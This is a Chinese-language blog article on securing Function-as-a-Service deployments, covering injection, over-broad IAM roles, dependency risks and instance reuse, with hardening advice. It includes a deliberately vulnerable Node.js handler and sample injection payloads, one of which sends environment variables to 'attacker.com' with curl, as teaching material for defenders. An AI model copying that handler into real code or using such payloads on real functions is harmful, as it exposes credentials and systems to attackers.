Function as a Service(FaaS)是Serverless架构的核心组成部分,开发者只需提交函数代码,云平台负责资源的分配、调度和伸缩。这种模式大幅降低了运维成本,但安全责任模型也随之改变:云厂商只负责底层基础设施和运行时的安全,函数代码、依赖、权限配置和数据安全都要由使用者自己承担。实践中大量FaaS项目因为沿用了传统Web应用的防护思路,最终暴露出注入攻击、过度授权、密钥泄露等严重问题。本文将系统梳理FaaS环境中的主要安全风险,并给出可落地的防护方案。

FaaS与传统架构安全模型的本质区别
在传统服务器架构中,安全团队可以依赖防火墙、入侵检测、主机杀毒等手段建立纵深防御体系,服务器本身是一个长期存在的实体,可以持续监控、打补丁、做加固。而FaaS环境里,函数是短生命周期的执行单元,一个函数实例可能在几百毫秒内创建又销毁,传统的Agent部署方式几乎无法工作。
另一个关键区别是攻击面的转移。传统应用只有一个长期暴露的入口,而FaaS中每个函数都可能通过HTTP触发器、消息队列、对象存储事件等多种方式暴露在公网。一个包含十个函数的应用,攻击面可能相当于传统架构下的十个独立服务。如果开发团队没有意识到这一点,很容易出现某个内部函数被意外公开的情况。
共享责任模型也需要重新理解。以AWS Lambda为例,亚马逊负责物理硬件、网络隔离和运行时的安全,但函数代码漏洞、IAM权限过大、环境变量中明文存储的密钥,全部属于用户责任。据统计,大量Serverless安全事件并非来自云平台被攻破,而是来自用户侧的配置错误和代码缺陷。
FaaS环境中的典型安全威胁
1. 函数注入攻击
函数注入是FaaS中最常见的攻击方式。当函数的输入来自用户请求且未经过严格校验时,攻击者可以构造恶意载荷。下面是一个典型的Node.js不安全示例:
exports.handler = async (event) => {
// 直接将用户输入拼接到命令中,存在命令注入风险
const fileName = event.queryStringParameters.name;
const result = await exec('process_file ' + fileName);
return { statusCode: 200, body: result };
};
如果攻击者传入; cat /etc/passwd或&& curl attacker.com?data=$(env)这样的值,就能执行任意命令,甚至把函数运行环境中的所有环境变量(包括数据库密码、API密钥)外带出去。值得注意的是,在FaaS中执行env命令的破坏力远超传统应用,因为密钥通常通过环境变量注入,一次注入即可拿到整个函数的全部凭据。
2. 过度授权的IAM角色
许多团队为了图省事,直接给函数绑定AdministratorAccess或*全量权限。一旦这个函数存在注入漏洞或逻辑缺陷被利用,攻击者立刻获得整个云账号的控制权,可以删除数据库、篡改日志、横向渗透到其他服务。正确的做法是为每个函数创建独立的执行角色,只授予其完成自身任务所需的最小权限。例如一个只写DynamoDB的函数,就不应该有任何S3读取权限。
3. 供应链与依赖漏洞
FaaS项目普遍依赖大量第三方包,而函数部署包中的依赖往往长期不更新。攻击者也会主动投毒,在npm或PyPI上发布名称与常用包高度相似的恶意包(typosquatting),一旦开发者手误安装,恶意代码就会在云端执行。此外,过时的依赖库中的已知漏洞(如反序列化漏洞)同样会被利用来攻破函数。
4. 冷启动与信息泄露
函数实例会被平台复用以减少冷启动延迟。这意味着上一次调用留下的临时文件、内存数据、全局变量可能被下一次调用读到。如果函数在/tmp目录写入用户敏感数据且未清理,其他用户的请求就可能通过复用实例读到这些数据(尤其是在多租户自建FaaS平台上)。类似地,全局变量中缓存的用户会话信息若未按请求隔离,会造成越权访问。
如何系统性地加固FaaS安全
最小权限与身份隔离
为每个函数配置独立的执行角色是第一步。可以利用工具审计函数实际调用的API,收敛权限范围。下面是一个最小化的IAM策略示例:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["dynamodb:PutItem"],
"Resource": "arn:aws:dynamodb:cn-north-1:123456789012:table/Orders"
}
]
}
这条策略只允许向特定的Orders表写入数据,即使函数被攻破,攻击者也无法访问其他资源。对于跨服务调用,建议使用短期凭据而非长期AccessKey,从根源上消除凭据泄露的影响。
输入校验与密钥管理
所有外部输入都应视为不可信数据。建议在函数入口处使用schema校验库对事件结构做白名单验证,避免直接拼接执行命令或SQL。密钥管理方面,绝对不要把密码和密钥硬编码在代码或环境变量中,应使用云平台的密钥管理服务(如AWS KMS、阿里云KMS),函数运行时动态获取并在内存中使用,配合密钥轮转策略进一步降低风险。
import json
import boto3
def lambda_handler(event, context):
# 白名单校验输入字段
if not isinstance(event.get('email'), str) or '@' not in event['email']:
return {'statusCode': 400, 'body': 'invalid email'}
# 从KMS解密密钥,不在代码中硬编码
kms = boto3.client('kms')
db_password = kms.decrypt(
CiphertextBlob=blob
)['Plaintext'].decode()
return {'statusCode': 200, 'body': 'ok'}
依赖治理与持续监控
在CI/CD流水线中集成依赖扫描工具(如OWASP Dependency-Check、Snyk),每次构建时自动检测已知漏洞并阻断高风险包的发布。同时锁定依赖版本,使用锁文件确保构建的可重复性,防止意外引入恶意更新。
监控层面,要开启函数的详细日志和调用链追踪,重点关注的异常信号包括:调用时长突增(可能在执行挖矿或外带数据)、来自异常IP的触发、错误率骤升、函数主动访问从未调用过的云服务。可以配置云平台的日志告警规则,把这些事件实时推送到安全团队。此外,建议为函数设置执行超时和内存上限,即使被攻破也能限制攻击者占用资源的规模。
总结
FaaS安全的核心在于理解责任边界的转移:云厂商保障平台,开发者必须对代码、依赖、权限和数据负全责。实践中最有效的三件事分别是坚持最小权限原则、杜绝密钥硬编码、对输入做严格校验。再辅以依赖扫描、日志监控和函数级网络隔离,就能构建起一套适应无服务器形态的纵深防御体系。Serverless不是不需要考虑安全,而是需要换一种方式考虑安全。
Function as a ServiceFaaS安全Serverless安全修改时间:2026-09-16 14:24:42